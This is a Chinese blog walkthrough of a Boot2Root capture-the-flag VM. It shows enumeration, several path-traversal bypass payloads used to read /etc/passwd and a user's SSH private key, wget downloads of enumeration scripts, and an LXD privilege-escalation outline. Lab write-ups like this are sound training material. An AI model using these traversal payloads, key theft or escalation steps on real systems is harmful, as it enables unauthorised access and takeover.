難度:中等
靶機發布日期:2019年11月27日
靶機描述:
Level: Intermediate-Hard
User flag: user.txt
Root flag: root.txt
Description: It’s a Boot2Root machine. The machine is VirtualBox compatible but canbe used in VMWare as well (not tested but it should work). The DHCP will assign an IPautomatically. You have to find and read two flags (user and root) which is presentin user.txt and root.txt respectively. Enjoy pwning it!
We recommend that you use VirtualBox and not VMware for this VM
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
- nmap
- gobuster
- burpsuite
- SSH密鑰登錄
- 文件讀取
- ByPass
- lxd提權
0x00、信息收集
靶機IP:192.168.56.107
nmap -sn 192.168.0.0/24
端口和服務
nmap -sS -sV -T5 -A -p- 192.168.56.107
頁面、目錄枚舉
gobuster dir -u http://192.168.56.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
首頁是Apache2 Ubuntu Default Page
進行二次頁面、目錄枚舉,URL爲http://192.168.56.107/lavalamp/
,得到如下結果
- /index.html (Status: 200)
- /img (Status: 301)
- /css (Status: 301)
- /js (Status: 301)
- /head.php (Status: 200)
- /skin (Status: 301)
- /fonts (Status: 301)
- /contactform (Status: 301)
- /Readme.txt (Status: 200)
訪問各個頁面
/lavalamp/head.php,沒有發現什麼有價值的信息,除了title
是:Can You Bypass Me?
,似乎是一個hint
禁止訪問的目錄
- http://192.168.56.107/lavalamp/img/
- http://192.168.56.107/lavalamp/css/
- http://192.168.56.107/lavalamp/js/
- http://192.168.56.107/lavalamp/skin/
- http://192.168.56.107/lavalamp/fonts/
- http://192.168.56.107/lavalamp/contactform/
這麼來看只有再去看一下/lavalamp/index.html
頁面了,查看源代碼的過程中發現了contactform/contactform.js
,隨即訪問了一下,然後在這個js腳本中發現了canyoubypassme.php
訪問/lavalamp/canyoubypassme.php
時發現跟/lavalamp/head.php
居然長得一模一樣~這就不對勁了呀。隨後查看源代碼,發現有個透明度被設置爲0(opacity: 0.0
)的table
標籤,隨即將其修改爲opacity: 1.0
從字面意思來看,是讓我們輸入一個數,然後下載它~啥意思啊,照着做一遍,輸入了數字1,結果得到了這麼一個大黑塊~
抓個包看看吧。發現數字對應的參數名爲file
,這個好像有搞頭,比如輸入/etc/passwd
之類的
猜測這裏可能存在LFI
漏洞或者文件讀取漏洞
把請求發送到Intruder模塊,用fuzz字典跑一下。一部分Response的Content-Length是2835,還有一部分是3126,分別查看響應內容之後發現了You are not allowed to do that
的提示。
說明這裏需要進行bypass,經過嘗試發現了以下幾種bypass的方式:
;../../../etc/passwd
AAAAAAAAAAAA../../../etc/passwd
%252e%252e%252f../../../etc/passwd
%250C../../../etc/passwd
%25A0../../../etc/passwd
0x01、SSH私鑰登錄靶機
本來想用日誌文件+LFI來getshell的,老外管這種方式叫Log Poisoning
,翻譯過來就是日誌投毒。比如Apache的訪問日誌、錯誤日誌、SMTP日誌、SSH日誌。但我試了一下Apache日誌讀取不到。
- LFI漏洞利用總結
- 利用SMTP日誌+LFI本地文件包含進行getshell
- [如何優雅的把LFI轉化爲RCE(2017-02-27更新版)](- https://xz.aliyun.com/t/1249)
接下來又是一個轉折點:讀取SSH私鑰,通過私鑰登錄靶機。
第一個信息:通過/etc/passwd可以看到系統中還有一個用戶ford
。
第二個信息:之前nmap掃描的時候發現SSH的端口爲6688
第三個信息:通過SSH登錄靶機的時候提示Permission denied (publickey).
一般情況下都是在用戶目錄下的.ssh文件夾中存在SSH的密鑰,所以嘗試直接讀取SSH的密鑰。
複製私鑰到kali
登錄時使用-i
參數指定私鑰
登錄到靶機之後,查看了一下canyoubypassme.php
,發現這裏並不是LFI,而是文件讀取。下面是過濾規則的代碼:
<?php
if(isset($_POST['read']))
{
$file=strtolower($_POST['file']);
if((strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
// some code
}
elseif(strstr($file, 'localhost') == false && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
// some code
}
elseif (substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
// some code
}
else
{
echo '<textarea rows=20 cols=60>'.file_get_contents("/tmp/".$file)."</textarea>";
}
}
?>
之後又看了一下爲啥不能看日誌,原因是沒有權限……
0x02、 權限提升
--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
先在kali上開啓HTTP服務
python -m SimpleHTTPServer 65534
使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。
-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------
SUID權限可執行文件,沒有可用的
find / -perm -u=s -type f 2>/dev/null
常見的SUID提權可執行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
當前用戶可寫文件,發現一堆,但是極大多數都是沒用的,所以我先把結果輸出到文本文件,然後使用grep加上關鍵字去篩選。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
查看計劃任務
cat /etc/crontab
查找sudo權限命令,需要輸入密碼
sudo -l
本來想跑Python腳本看看有沒有什麼可利用的東西,結果靶機上沒裝Python……
Python用不了沒關係,我們還有LinEnum.sh,執行完之後給了我們一個提示lxd
。記得之前有個靶機就是通過lxd填權的。
lxd提權方法參考:Lxd Privilege Escalation
第一步,在kali上生成鏡像
第二步,在靶機上導入鏡像
在鏡像所在的目錄下使用Python開啓HTTP服務,靶機通過wget下載到鏡像的/tmp目錄
第三步,在新的容器中初始化鏡像
第四步,在/root目錄加載容器
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.